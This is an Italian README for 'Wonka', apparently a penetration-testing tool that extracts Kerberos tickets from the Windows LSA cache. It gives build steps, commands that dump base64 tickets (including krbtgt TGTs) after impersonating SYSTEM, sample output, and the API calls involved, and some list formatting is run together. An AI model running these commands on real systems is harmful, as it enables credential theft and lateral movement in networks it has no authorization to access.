
Wonka è un dolce strumento Windows che estrae i ticket Kerberos dalla cache della Local Security Authority (LSA). Come trovare un biglietto, ma per la ricerca sulla sicurezza e i test di penetrazione! 🎫
"Siamo i creatori di musica, e siamo i sognatori di sogni." - Willy Wonka
Wonka è uno strumento Windows che estrae i ticket Kerberos dalla cache della Local Security Authority (LSA). Come trovare un biglietto d'oro, ma per la ricerca sulla sicurezza e i penetration test! 🎫
Opzione 1: Compila un singolo eseguibile (consigliata)
dotnet publish -c Release -r win-x64 --self-contained true /p:PublishSingleFile=true
Opzione 2: Compilazione semplice
dotnet build --configuration Release
.\Wonka.exe <list|dump> [/luid:<luid>] [/service:<name>]
Eseguendo
.\Wonka.exesenza argomenti (o con-h) viene mostrato l'aiuto — devi passare esplicitamentedumpolistper fare qualsiasi cosa.
Wonka si adatta ai privilegi con cui viene eseguito:
/luide/servicesono filtri solo perdump; la loro combinazione conlistviene rifiutata.
# Show help (also shown when run with no arguments)
.\Wonka.exe -h
# Dump every accessible ticket (all sessions if elevated, otherwise just yours)
.\Wonka.exe dump
# Just enumerate who has tickets, without pulling the blobs (admin)
.\Wonka.exe list
# Pull a single krbtgt ticket (TGT) for one logon session
.\Wonka.exe dump /luid:0x3e7 /service:krbtgt
Starting Kerberos ticket extraction process...
[+] Running with administrative privileges
[+] Successfully impersonated as SYSTEM
[+] Logon sessions found: 15
[+] User: [email protected]
[+] LogonId: 0x3e7 | Tickets found: 3
-----------------------------------------------------------------------
Username = charlie.bucket
DnsDomainName = chocolate.factory
StartTime ---> 10/21/2025 10:30:15 AM
EndTime ---> 10/21/2025 8:30:15 PM
Server Name ---> krbtgt/CHOCOLATE.FACTORY
Ticket b64 ---> YIIFgjCCBX6gAwIBBaEDAgEWooIEhjCCBIJhggR+MII...
-----------------------------------------------------------------------
In modalità
listl'output è identico tranne per le righeTicket b64/EncTypeche vengono omesse — ottieni i metadati senza il blob del ticket estraibile.
Wonka/
├── Program.cs # CLI parsing + ticket extraction logic
├── Winapi.cs # Windows API definitions
└── Wonka.csproj # Project file
OpenProcessToken / DuplicateTokenEx / ImpersonateLoggedOnUser / RevertToSelf - impersonazione di SYSTEM (percorso amministratore)LsaRegisterLogonProcess - registrazione LSA privilegiata (percorso amministratore)LsaConnectUntrusted - connessione LSA non privilegiata per l'utente corrente (percorso utente standard)LsaEnumerateLogonSessions - enumerazione delle sessioniLsaCallAuthenticationPackage - comunicazione KerberosCon privilegi elevati (Amministratore):
LsaRegisterLogonProcess)/luid / /service)list)Utente standard:
LsaConnectUntrusted) — nessuna impersonazione necessaria{0,0})| Problema | Soluzione |
|---|---|
| "Could not impersonate as SYSTEM" | Esegui come amministratore (oppure esegui come utente standard per esportare solo i tuoi ticket) |
| "Could not initialize LSA" | Verifica la compatibilità con Windows |
| "No tickets found" | Assicurati che Kerberos sia in uso (klist) |
"Un po' di follia, ogni tanto, è gradita anche agli uomini più saggi."
Questo strumento è destinato solo a ricerca e test di sicurezza autorizzati. Come la fabbrica di Wonka, si entra solo con il permesso! 🏭
Usalo in modo responsabile:
Creato per i professionisti della sicurezza che devono estrarre ticket Kerberos dolci come il cioccolato di Wonka. Ricorda: da grandi poteri derivano grandi responsabilità!
"Così risplende una buona azione in un mondo stanco." 🌟
| Comando | Cosa fa |
|---|
.\Wonka.exe (nessun argomento) | Mostra l'aiuto. |
.\Wonka.exe dump | Estrae i ticket (base64) per ogni sessione accessibile. |
.\Wonka.exe list | Elenca utenti e solo metadati dei ticket — nessun base64 viene estratto. |
.\Wonka.exe dump /luid:<luid> | Esporta solo la sessione con il LUID indicato (esadecimale 0x3e7 o decimale 999). |
.\Wonka.exe dump /service:<name> | Esporta solo i ticket il cui nome del server contiene <name> (es. krbtgt, cifs/host.domain). |
.\Wonka.exe dump /luid:0x3e7 /service:krbtgt | Combina i filtri per esportare un singolo ticket. |
.\Wonka.exe -h | Mostra l'aiuto. |